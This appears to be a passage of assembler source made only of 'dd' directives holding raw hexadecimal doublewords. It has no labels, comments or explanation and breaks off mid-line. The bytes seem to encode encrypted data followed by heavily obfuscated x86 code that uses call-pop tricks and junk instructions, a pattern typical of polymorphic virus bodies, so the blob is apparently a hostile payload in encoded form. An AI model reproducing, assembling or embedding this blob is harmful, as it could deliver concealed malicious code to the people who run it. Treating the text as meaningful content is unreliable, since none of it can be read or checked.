303A0122h, 1393DFE1h, 2B9B4406h dd 6F0C2406h, 385D1022h, 0D6268EE1h, 120281AFh, 6F70042Ch dd 6F19E970h, 353A8022h, 3B931AE1h, 2B9B2406h, 6F001406h dd 3D580822h, 0EC6673E1h, 0BA4AA056h, 0EA13D1DDh, 69118283h dd 3A39FA44h, 4D13A5ABh, 6F701629h, 6F19E073h, 363A0422h dd 23935BE1h, 2B9B0506h, 6F018406h, 3E5B4022h, 14B5DAE1h dd 709E7878h, 669F8168h, 0A91C0F22h, 643247A7h, 989B4624h dd 52564FA6h, 7F72B8A9h, 0D0455F4Ch, 3A57C022h, 53E0CA3h dd 5385880h, 6CF25222h, 4F1A0122h, 0E642437Ah, 0EE1E6466h dd 741E0466h, 2F1A1022h, 0FA3FCB72h, 961D6BFCh, 0D29342F5h dd 6911177Bh, 7C4F35DDh, 6F704629h, 6F19C871h, 343A1022h dd 339353E1h, 2B9B0006h, 6F0C0606h, 3C590122h, 47DA2CE1h dd 4B33D5A9h, 0A19B2629h, 778C4559h, 12028DAFh, 6F70022Ch dd 6F19EA75h, 303A0122h, 1393DFE1h, 2B9B4406h, 6F072406h dd 385D1022h, 459A67E1h, 2C51D8B0h, 9762F57Fh, 0FA33D1DDh dd 6911A017h, 6F6BC5ABh, 0D07C2629h, 0B99A264Ah, 2A9FCEE4h dd 281C0F0Ah, 0E8990B98h, 0AF4B6905h, 0E1154EACh, 6F1A4021h dd 0EED2AB44h, 93163416h, 6F706C61h, 6F19EC70h, 353A0222h dd 3B935BE1h, 2B9B8406h, 6F004406h, 3D582022h, 8695DCE1h dd 169C7D03h, 828F8F74h, 361C0922h, 7C4FB4DDh, 0BD9B8629h dd 1ED33353h, 1202A5AFh, 6F70162Ch, 6F19E077h, 323A0422h dd 3935FE1h, 2B9B0506h, 6F018406h, 3A5F4022h, 0C00C67E1h dd 0D0E28345h, 0DB43B6F2h, 0BFE55C74h, 87480248h, 6F1A0121h dd 35D9DA02h, 6B3E14ABh, 6B3E64A3h, 6F1A103Ah, 0DFD95A60h dd 0A83D2608h, 7C6B87ABh, 6F700729h, 6F196872h, 373A4022h dd 2B9378E1h, 2B9B1406h, 6F0F0C06h, 3F5A0422h, 87EAA8E1h dd 6F1A012Fh, 0B1847B77h, 0EC7FA280h, 18A9D0Dh, 9D9B76F2h dd 6040B56Ah, 6F1A07A3h, 0BDAD0D22h, 6F70D1DDh, 6F196872h dd 373A4022h, 2B9378E1h, 2B9B1406h, 6F0E0C06h, 3F5A0422h dd 0D21BCAE1h, 6911152Fh, 69FB05ABh, 0EB154629h, 6F1A2021h dd 9D09B44h, 8649D0AEh, 6F1A0428h, 5A0EB043h, 0F8225F30h dd 4B40D8B2h, 3F1A2A26h, 6F1A23CAh, 0AC423022h, 4B5E817Ah dd 4B5E8526h, 6F1A1426h, 0AC4A4122h, 64AC38C7h, 6414A1B7h dd 60DA2A24h, 6F1883A6h, 3F1A6222h, 6F1A07CAh, 0AC422222h dd 4B5E887Ah, 4B5E0126h, 6F1A5B26h, 0AC4A6022h, 0F0D6747Eh dd 0DF7E98B1h, 0A9E2BB2Dh dd 643247A7h, 6F704E24h, 6F196870h, 353A4022h, 3B937AE1h dd 2B9B1406h, 6F0D0C06h, 3D580422h, 0F6E82EE1h, 6E8F880Dh dd 71C8B11h, 0E926CBB9h, 0EED2AB44h, 8E333426h, 0DAA43161h dd 9020F8B4h, 64095797h, 3A1A6B24h, 6F1A83CAh, 0AC476022h dd 4B76A97Fh, 4B5E9126h, 6F1A1526h, 0AC4F4122h, 9BE623DCh dd 0DC5683E6h, 1EA82799h, 1202C5AFh, 6F70262Ch, 6F19F874h dd 313A0822h, 1B935AE1h, 2B9B0606h, 6F0C0506h, 395C8022h dd 260E96E1h, 6E0FAD11h, 0BFE51629h, 4BDA8BDEh, 0E6E98F44h dd 6419D3A7h, 869B6724h, 0EA91E7EEh, 691146C3h, 874A2048h dd 6F1A1021h, 37D95002h, 6B3E40ABh, 6B3E46A3h, 6F1A013Ah dd 34D9D062h, 43C90323h, 7C6BBDA9h, 0E2931629h, 69111867h dd 3A1A6E61h, 6F1A01CAh, 0AC472122h, 4B76097Fh, 4B5EC126h dd 6F1A3426h, 0AC4F5522h, 0E4CA83A9h, 3D1A6E39h, 6F1A01CAh dd 0AC402122h, 4B4E0978h, 4B5EC126h, 6F1A3926h, 0AC485222h dd 4FAD7C14h, 7491E06Dh, 0C6AF8B72h, 311C0A3Ah, 0E1159BA9h dd 6F1A4027h, 0A1BA5498h, 9C22345h, 92B679Dh, 0D32ED5A3h dd 69F79FABh, 0E5150729h, 6F1A8024h, 69AFCDABh, 0FA932629h dd 69111C83h, 475F8DE4h, 0E45D0229h, 641B5B97h, 6D576924h dd 0D57C5E47h, 5B9B6B03h, 0D4C5C406h, 12979B4Bh, 901C0331h dd 64095197h, 0E2E98924h, 616719A7h, 381AEA24h, 6F1A43CAh dd 0AC450022h, 4B66997Dh, 4B5E8926h, 6F1A1E26h, 0AC4D4522h dd 4912282Ch, 0E400591Eh, 64010D97h, 0E4CADF24h, 641A01AFh dd 669F8124h, 91C0F00h, 92BF5A3h, 391A6B62h, 6F1A83CAh dd 0AC446022h, 4B6EA97Ch, 4B5E9126h, 6F1A1526h, 0AC4C4222h dd 0B539778Eh, 744439Dh, 0F293424Ah, 69117323h, 6F7020A9h dd 6F19F871h, 343A0822h, 33935FE1h, 2B9B0606h, 6F030506h dd 3C598022h, 30AD09E1h, 60D7785Dh, 0E615D99Dh, 6F1A0824h dd 5CDB89A9h, 967A0429h, 0EC9BE2Dh, 6F7080A9h, 6F19A874h dd 313A2022h, 1B934EE1h, 2B9B0C06h, 6F070006h, 395C0222h dd 2B31BE1h, 0C9F62999h, 60707AFCh, 6F1A26AFh, 0CAA79B22h dd 0E61C032Eh, 642825A7h, 0A2AF8924h, 861C0A24h, 6F1A8109h dd 0C72DC5AFh, 6F70262Ch, 6F19F870h, 353A0822h, 3B935EE1h dd 2B9B0606h, 6F020506h, 3D588022h, 0D8FD6CE1h, 0EE7C889Fh dd 3F7079E3h, 6F1A0FCAh, 0A3EF1022h, 379982FCh, 31435272h dd 4B1E0978h, 87494048h, 6F1A2021h, 34D94B02h, 6B3E54ABh dd 6B3E40A3h, 6F1A023Fh, 0C3D95261h, 548B8BABh, 96065A6Eh dd 1A8FDF6Ch, 441C1B0Ah, 6412FDB7h, 52878924h, 0F1C0C8Ah dd 87D8BE2Dh, 6F1A8030h, 3186703Ah, 4FBA0020h, 0D7F205BCh dd 0F08D5581h, 0EA93FDD6h, 691117D7h, 604A607Bh, 6F1A80A5h dd 4B06C922h, 64BBADA9h, 94A1629h, 6B93FBA9h, 391A6E06h dd 6F1A01CAh, 0AC442122h, 4B6E097Ch, 4B5EC126h, 6F1A3926h dd 0AC4C5622h, 81650D5Fh, 0FA934F59h, 691118E7h, 6F1F8CABh dd 0FAE58629h, 691153F3h, 874F2048h, 6F1A1021h, 32D95502h dd 6B3E68ABh, 6B3E46A3h, 6F1A013Ah, 0D0D9D567h, 0D8C91CCEh dd 6F0FAA2Dh, 7FF31022h, 5B1A0822h, 0D2107D81h, 35267BBFh dd 0C165C421h, 0E60687FEh, 641991A7h, 8AA7AB24h, 0A91C1B0Ah dd 64324DA7h, 0B69B5724h, 2AC2DA0Ch, 0C3E7174Ah, 4B1E0110h dd 18C0C74Bh, 25C0C1A3h, 0DAE554D2h, 69111B77h, 6F1A0BCBh dd 77C39822h, 0E62ACA1Eh, 520210F5h, 0EF4E3663h, 1202A5AFh dd 7CF3162Ch, 0DA1A0822h, 9E3E8304h, 0C49903B9h, 3C50C6BFh dd 0B07E0DD6h, 0BFE590B2h, 874F2048h, 6F1A1021h, 32D95502h dd 6B3E68ABh, 6B3E46A3h, 6F1A0139h, 0B4D9D567h, 26AC6709h dd 0E6F27896h, 641505A7h, 3F1A6224h, 6F1A07CAh, 0AC422222h dd 4B5E887Ah, 4B5E0126h, 6F1A5D26h, 0AC4A6022h, 7E6729B5h dd 0FFA6C6A9h, 0FA918055h, 69111047h, 475F84E4h, 55D8629h dd 6CF21122h, 4F1A2022h, 0E643D37Bh, 0EE1E2C6Eh, 731E2066h dd 2E1A0222h, 2EF8C273h, 698BFC8Fh, 6CDA260Dh, 641371B7h dd 5B5D7824h, 1EA3A5CBh, 0EE4C2E6Eh, 4ECD2616h, 9C910DB9h dd 7C4F35DDh, 6F704629h, 6F19C873h, 363A1022h, 239351E1h dd 2B9B0006h, 6F0D0606h, 3E5B0122h, 66536E1h, 779FCD45h dd 6C1C2E5Fh, 640A39AFh, 0E4CAF724h, 6410CD9Fh, 2E9F8B24h dd 51C0A24h, 6CF2D122h, 4F1A4022h, 0E643E37Bh, 0EE1E346Eh dd 7A1E2C66h, 2E1A0422h, 2390C173h, 475F84E4h, 5498629h dd 6CF21022h, 4F1A2022h, 0E642D37Ah, 0EE1E2C66h, 731E2066h dd 2F1A0222h, 70FDC272h, 97AB4AD5h, 7FE739Fh, 896D8012h dd 0CF3E24A3h, 56546DDh, 6CF25322h, 4F1A0222h, 0E645C27Dh dd 0EE1EA45Eh, 761E6466h, 281A2022h, 21D4D375h, 0BD916DB8h dd 6A8F2D42h, 601C0931h, 6F1A07AAh, 6F9B8F22h, 0E1A4022h dd 7C4F95DDh, 6F701629h, 6F19E070h, 353A0422h, 3B9358E1h dd 2B9B0506h, 6F0C8406h, 3D584022h, 0C05313E1h, 6F1A1ECBh dd 712B0322h, 0C180C544h, 357DC2B3h, 0E6110C1Eh, 640E31AFh dd 12AF6B24h, 0E21C2B38h, 616708A7h, 3C1A6224h, 6F1A07CAh dd 0AC412222h, 4B468879h, 4B5E0126h, 6F1A5426h, 0AC496322h dd 5EAF3969h, 901C0303h, 94A50BF2h, 65DF87ABh, 6F700729h dd 6F196877h, 323A4022h, 3937DE1h, 2B9B1406h, 6F030C06h dd 3A5F0422h, 9631E7E1h, 0E6EF5851h, 6432E5A7h, 2A9F8624h dd 381C2B0Ah, 874D1048h, 6F1A0821h, 30D95B02h, 6B3E7EABh dd 6B3E45A3h, 6F1A803Bh, 74D91765h, 0F8192C49h, 0D2934797h dd 691104FFh, 0BE9B567Dh, 0F47E2E1h, 0D570697Ch, 6B9BA4B9h dd 78DDC06h, 16A70949h, 901C1B2Ch, 64095D97h, 3A1A6E24h dd 6F1A01CAh, 0AC472122h, 4B76097Fh, 4B5EC126h, 6F1A3726h dd 0AC4F5522h, 8DDF447Eh, 6F1A0DCBh, 7B9EFD22h, 0BFC9A675h dd 0D2937C2Dh, 691145C3h, 0E2D49F2Dh, 616708A7h, 6F13E124h dd 0BC930422h, 2D7764D0h, 90808916h, 6DC01F2h, 0E675BECBh dd 643E31A7h, 6F16F924h, 0EBC20822h, 5144642Dh, 3D81CE02h dd 0EADC587Eh, 6911A867h, 3F1A2A61h, 6F1A23CAh, 0AC423022h dd 4B5E817Ah, 4B5E8526h, 6F1A1426h, 0AC4A4122h, 0E4B76710h dd 641C319Fh, 6F1EC824h, 1F321022h, 0A0ACB4B2h, 4B5E8F72h dd 0E1156226h, 6F1A0127h, 2E522099h, 96912655h, 871AAB43h dd 6F1A102Bh, 0C5FA7A50h, 0EDDD2163h, 64A464DFh, 2B935B8Ah dd 60F28406h, 0BA1A4022h, 0BBFA5CC4h, 7975F736h, 3BFC35E5h dd 0D2A04E92h, 30293099h, 3F1A6B7Ah, 6F1A83CAh, 0AC426022h dd 4B5EA97Ah, 4B5E9126h, 6F1A1026h, 0AC4A4422h, 90C8EC06h dd 6D9C0E00h, 0D91A8022h, 6F0AA9F9h, 28BD2022h, 727F0C64h dd 350C80A2h, 0E19DE4E7h, 0DAE57A4Ah, 69111277h, 874A8048h dd 6F1A4021h, 37D97802h, 6B3E54ABh, 6B3E4CA3h, 6F1A0436h dd 0FFD95262h, 3C54D7A2h, 36CB3F2Dh, 1202C5AFh, 864D262Ch dd 6F1A1030h, 42A45C56h, 79915D93h, 9C0BB7A9h, 0AC94F1E5h dd 90435E05h, 0DAA7CBF2h, 0E61C2B0Ah, 643DB5A7h, 0BC916E24h dd 0C73781AFh, 6F70042Ch, 6F19E972h, 373A8022h, 2B9318E1h dd 2B9B2406h, 6F031406h, 3F5A0822h, 6AA4F8E1h, 6CB60010h dd 643DD897h, 0DBA5D024h, 0E64BBC28h, 6F700426h, 6F19F877h dd 323A0822h, 39359E1h dd 2B9B0606h, 6F010506h, 3A5F8022h, 0F3643AE1h, 0B6FF994Eh dd 1A8FEF33h, 871C030Ah, 6F1A0430h, 0A5400F87h, 3F9DD324h dd 2C5E85A2h, 656A4546h, 61F342DCh, 8D1A1022h, 15D1B6E8h dd 5FFFE28Eh, 40685921h, 0B7915EF0h, 874F8048h, 6F1A4021h dd 32D97D02h, 6B3E7CABh, 6B3E4CA3h, 6F1A043Bh, 7DD95767h dd 0B2588D08h, 0EA977C53h, 6914E803h, 874B2048h, 6F1A1021h dd 36D95102h, 6B3E48ABh, 6B3E46A3h, 6F1A013Ah, 0B9D9D163h dd 58355DB8h, 94A2C93h, 6B93C7A9h, 3A1A6206h, 6F1A07CAh dd 0AC472222h, 4B76887Fh, 4B5E0126h, 6F1A5D26h, 0AC4F6522h dd 0C23A7523h, 0C7208C47h, 9748227Dh, 3D4A527Bh, 5E154590h dd 6F1C0B2Dh, 3D4A4022h, 3740112Dh, 73934878h, 3F1A6206h dd 6F1A07CAh, 0AC422222h, 4B5E887Ah, 4B5E0126h, 6F1A5526h dd 0AC4A6022h, 0DA91AF61h, 69112CABh, 7CCB91DDh, 0D17C0429h dd 0EA93DC32h, 691198CFh, 6F1A52CBh, 6B2E9E22h, 6D85E55Bh dd 23E332B5h, 13F6DB72h, 0A83FAC84h, 642984A7h, 6F1A8F24h dd 381A2A22h, 6F1A23CAh, 0AC453022h, 4B66817Dh, 4B5E8526h dd 6F1A1E26h, 0AC4D4622h, 0DAF0E772h, 0EE5CE278h, 7A8729F0h dd 0E41C1B0Ch, 6437E197h, 828FFB24h, 51C093Ah, 6CF25422h dd 4F1A8022h, 0E647837Fh, 0EE1E044Eh, 781E3466h, 2A1A0822h dd 0CF13C777h, 0B99126D1h, 97934A9Dh, 0E9F0931h, 51C4B3Bh dd 6CF27122h, 4F1A1022h, 0E643CB7Bh, 0EE1E206Eh, 761E2666h dd 2E1A0122h, 2DA4373h, 0E13A700Eh, 6F1A29CAh, 1F027D22h dd 10772D05h, 0E64D8064h, 6434BF97h, 9455B24h, 0EA9148A9h dd 691159A7h, 0D52EBDAFh, 2C93162Ch, 0AA78523h, 0E21C0F01h dd 61A00C97h, 6F29B824h, 0CBE98022h, 6FA273C9h, 641A2022h dd 0AD1964E2h, 2B91083Ah, 87490806h, 6F1A0222h, 78D98079h dd 0E61A8022h, 0E60A647Eh, 340E0466h, 0CFBA279Ah, 0E4FAF722h dd 901E2066h, 0E29162C2h, 691105FBh, 0EEAFA943h, 0E1C4B2Eh dd 6F1A32CAh, 7E2B4422h, 2C026E15h, 86D7ACBAh, 1B121555h dd 87283D33h, 6F1A802Ah, 869EC26Eh, 2D6CA77Ah, 36434975h dd 0C73BB5AFh, 0E297022Ch, 6914B8B6h, 49B1349Ah, 8E9FB3BAh dd 441C4B0Bh, 22057AEDh, 226CF216h, 7C4F1A20h, 56E644D3h dd 66EE1E2Ch, 22781E20h, 74291A02h, 0F305E983h, 6AD98BA4h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8797C355h, 1FDBCF5Fh, 3FDB531h, 9E9060Bh dd 0F2000000h, 0D655C5D1h, 7C78EC9Bh, 12E9h, 6061F500h dd 6F18D781h, 0E9815732h, 15F1102Ch, 8BFCC361h, 890F60C0h dd 4, 0A788B866h, 0BD8361F5h, 60B05BDh, 83097500h, 0B29D1BDh dd 19740006h, 0C08B5350h, 4B9B8h, 99858900h, 8D060B12h dd 0DB3819Dh, 5BD3FF06h, 0D1BD8358h, 60B29h, 53501774h dd 4B9B8h, 99858900h, 8D060B12h, 0DB0229Dh, 5BD3FF06h dd 28A0F58h, 60000000h, 5E961h, 0D8F0000h, 6AF1A3ACh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 58D4C352h, 0C8558F08h, 0FCE1714Ch, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0DD82E7C3h, 0C18B4031h, 0BBCFBF66h, 4EBh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BE99AC3h, 1B000000h, 0B5B5C75Eh, 6674571Bh, 6A4A4Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 13EADDC3h, 0E6BF66FFh, 6870F20h, 29000000h, 0B1275BDh dd 0A9858D06h, 6A060B28h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 714DC350h, 8821D290h dd 0FB5BD8Bh, 5750060Bh, 5FF08B66h, 6A240489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0A5CEC355h, 0E9CA2BC0h, 7, 5A99179Eh, 8BAF5BBEh, 7DF681FBh dd 6A650A62h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 81C8E0A0h, 0A67F1DCEh, 6A006A0Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 3B27C352h, 3C35668Ah, 0CD858DF6h, 89060EBDh dd 0B106185h, 358D0106h, 83060B09h, 0B58B05C0h, 60B0329h dd 24048950h, 0D3B21FBEh, 6A006A09h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F49C356h dd 686h, 0D19D8900h, 6A060B32h, 418D8900h, 0FF060B0Fh dd 0B2F2195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0F920F1FBh, 73CB3D0Ah, 0A1BD8993h dd 8D060B0Dh, 0EA7B09Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 3CBD633Fh, 0D4DB763Eh dd 3160FA21h, 0B2DFD85h, 0E9B58B06h, 61060B23h, 41953160h dd 61060B0Ch, 0D681D3FFh, 443CE49h, 66D85FFh, 6A060Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 893D10C3h, 6A3C29BAh, 0A5BD336Dh, 8B060B16h, 713E9F8h dd 0E80000h, 5D000000h, 0BDD7ED81h, 0BD81060Eh, 60B3385h dd 7D0h, 184860Fh, 85890000h, 60B08DDh, 24219D8Bh, 0BD8B060Bh dd 60B0E89h, 100E381h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0FD4895C3h, 525030FCh dd 0DB0B5FF5h, 0E2850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E567E1C3h, 1F3DB58Bh dd 0BD83060Bh, 60EBBBAh, 5B840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 3C45C356h, 0F32575E6h, 5890F1Bh, 66000000h, 8D2FEF81h dd 0ACE9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BD8B8CF7h, 60B01D1h, 17CD9D89h dd 85C7060Bh, 60EBBBAh, 1, 0FE9h, 0E6FF7600h, 8CEFE606h dd 0C9040411h, 28AE13ABh, 60E9h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FF3DB33h dd 38Fh, 0FB8B6600h, 6840Fh, 95290000h, 60B18CDh, 0BBBA85C7h dd 60Eh, 800F0000h, 1Dh, 0FE860h, 65B80000h, 10584CE1h dd 0FE05F200h, 0E6D53ACBh, 8D895A7Ch, 60B1505h, 219D8D61h dd 6A060B24h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 0F445C356h, 8123E42Fh, 0FFFEFF23h dd 905FBEFFh, 8C667E87h, 56006ADBh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 66DF81F6h, 891D567Ah dd 0B0211BDh, 4C3F606h, 50840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 377662C3h dd 89FED335h, 8B57E9E5h, 0B7BE5EFEh, 663EC40Ch, 0CEAFCE81h dd 18ED95FFh, 8166060Bh, 8B108BF6h, 0B0B11BDh, 0BE525006h dd 5C519E1Fh, 2404895Eh, 0DFE9FB8Bh, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 4B39C357h, 0B58B7CCEh, 60B232Dh dd 6A00B0F9h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 2681C352h, 0FEB16ABh, 89F38BE1h dd 0B17ED85h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 3242C355h, 0C7814189h dd 5C4957E2h, 0F860F560h, 61615E57h, 9D8971E4h, 60B03CDh dd 6AD8B60Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 8AF4C355h, 0C1BD23F9h, 0BA060B31h dd 6, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h dd 0A7C35545h, 12ED8501h, 0C38B060Bh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 81C35141h, 28C6A55h, 0E14E9776h dd 4E8C167h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h dd 0E2F76617h, 0AE8h, 1F3FAB00h, 0C2218C9Fh, 8BFB09AEh dd 0B1741B5h, 0D82B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 71C35545h, 0F366F06Fh, 93FA8B66h, 0DE950h dd 82670000h, 0E6EFE05Dh, 0FC199376h, 93ABC20Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h, 2B047E32h dd 0B5FFBABEh, 60B3385h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 89F987C3h dd 0B28019Dh, 0F00B006h, 38Ch, 0FA8B6600h, 0B50B70E6h dd 60B0151h, 0AE9h, 87A51F00h, 0A839F8BDh, 0E4C29CD4h dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 4AA5783Bh, 0BD8B4989h, 60B01E9h, 0F51BD8Bh dd 613C060Bh, 1CC830Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0B4E723C3h, 0BDDEC6Eh dd 8BD8B60Fh, 6BAFAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 540FB8C3h, 50D0AE2Bh dd 8BFCABD3h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8B988565h, 0B04B5B5h, 4E8C106h, 1D9B52Bh dd 0F766060Bh, 50006AE2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 7AEF812Eh, 665F770Ch dd 76CCCF81h, 8589D82Bh, 60B2A71h, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0E95150BEh dd 0B5BFE8C3h, 0B5F4503h, 0B12B5BDh, 0FD82B06h, 0E588h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 19A5D1D2h, 665B8A8Eh, 0B9D18FBFh, 7, 83F28B66h dd 816600C1h, 3B6510EFh, 0A7860FD9h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0B451C352h, 22B52220h, 0C78194F8h, 6988CA64h, 6AD98C66h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0FDE9C352h, 0F6F9BF0Fh, 840F04C1h, 4Ah, 0A7C0BE66h dd 18ED95FFh, 0F51060Bh, 5B5EFEBFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 38C35040h, 7E53F4E9h, 524C933Bh dd 343DC32Bh, 0F000008h, 986h, 0BE9F900h, 66000000h, 0C08BF38Bh dd 0C55BD8Bh, 0C38B060Bh, 6AD88Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 43360EC3h, 0E2DF819Eh dd 0C704EEF1h, 0B2A9D85h, 84A95306h, 14E956h, 2E6F0000h dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 838A46DDh, 0C08B59EAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h dd 0C1B58B8Ah, 81060B31h, 0B3385BDh, 7D006h, 10850F00h dd 0F8000000h, 338585FFh, 9D89060Bh, 60B1A55h, 0FFF9B70Fh dd 0B3385B5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 37FFC353h dd 0FE1A8674h, 5678B890h, 0FE91234h, 48000000h, 0D8B71C58h dd 0CB026C4h, 713F3D56h, 9D8D2CF2h, 60EC499h, 0FFF915E9h dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 0C378F94Eh, 1505BD8Bh, 0B70F060Bh, 0EBC18BF9h dd 4, 0D19D8900h, 6A060B21h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0F5DAC350h, 4AC40B2h dd 6A7FA131h, 0EE9h, 0AE13AB00h, 3F062128h, 178F5A80h dd 8D91F050h, 0B28A985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 5CCD6D93h, 1DB58BA2h dd 90060B21h, 0E920B160h, 13h, 1143DFCDh, 78206AD1h, 2604CB50h dd 61DAE570h, 615E6169h, 870F6050h, 5, 2FA90ABEh, 9BBA6621h dd 6690616Fh, 7BA9EE81h, 9D31006Ah, 60B06D5h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0E83AC4C3h, 0C6B9858Dh, 6A060Eh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 6627A2C3h dd 7073EF81h, 14E8h, 0AC46D700h, 0A643BE92h, 88C2C37Bh dd 4AFD7648h, 40521771h, 65BF668Ch, 0C0835EFBh, 9E99005h dd 0FF000000h, 287DE6B4h, 0A39FDC26h, 90F88B50h, 29F59D09h dd 8509060Bh, 60B0C09h, 0B503006Ah, 60B2E59h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 0A49F87C3h, 830FF8h, 0FF000000h, 0B2F2195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 47D36C2Eh, 0B9BD0922h, 8D060B24h, 0EA7B09Dh, 9D9D8906h dd 0FF060B17h, 0B2E681D3h, 0FF233332h, 0B066D85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B22AA04Ah, 0D51D58EFh, 1DBE66AFh, 0DF1E94Ch, 0E80000h dd 5D000000h, 0C6C3ED81h, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 5AC2D5C3h, 0BD8191C9h dd 60B3385h, 7D0h, 0AD860Fh, 0FB8B0000h, 8699D8Bh, 0B58B060Bh dd 60B2701h, 100E381h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 3AB217C3h, 0FDB0BD6h dd 5385h, 83F38B00h, 0EC4E9BDh, 840F0006h, 29h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 9589D584h dd 60B06BDh, 2BE9h, 0E985C700h, 1060EC4h, 81000000h, 4BA1BDEEh dd 16E93Ah, 0BD8B0000h, 60B0079h, 0C4E985C7h, 60Eh, 85010000h dd 60B1241h, 8699D8Dh, 0BF0F060Bh, 0FF2381F0h, 66FFFFFEh dd 0B70FDB8Ch, 4C3F6F2h, 52840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3E40FC3h dd 0B69B58Bh, 0FFF5060Bh, 0B18ED95h, 6860F06h, 8B000000h dd 0B31C9BDh, 0EE85006h, 0DB000000h, 9CD06AE1h, 4FBD1CFEh dd 1D11B79Bh, 0F98B6694h, 2404895Fh, 3FAE9h, 0F28B6600h dd 0B0F88B66h, 61958900h, 0E6060B0Fh, 56006A70h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6671E48Ah, 0B60FFB8Bh, 0D9BE51D8h, 5F566E24h, 6BAh dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 473ACD0Bh, 66C38BFCh, 2517C681h, 8904E8C1h dd 0B0D9595h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 85C35343h, 3D82BC8h, 0B0F9DBDh, 0BE665006h dd 1C895CF5h, 0E1B58B24h, 0FF060B07h, 0B3385B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0C8302468h, 0E699DB41h, 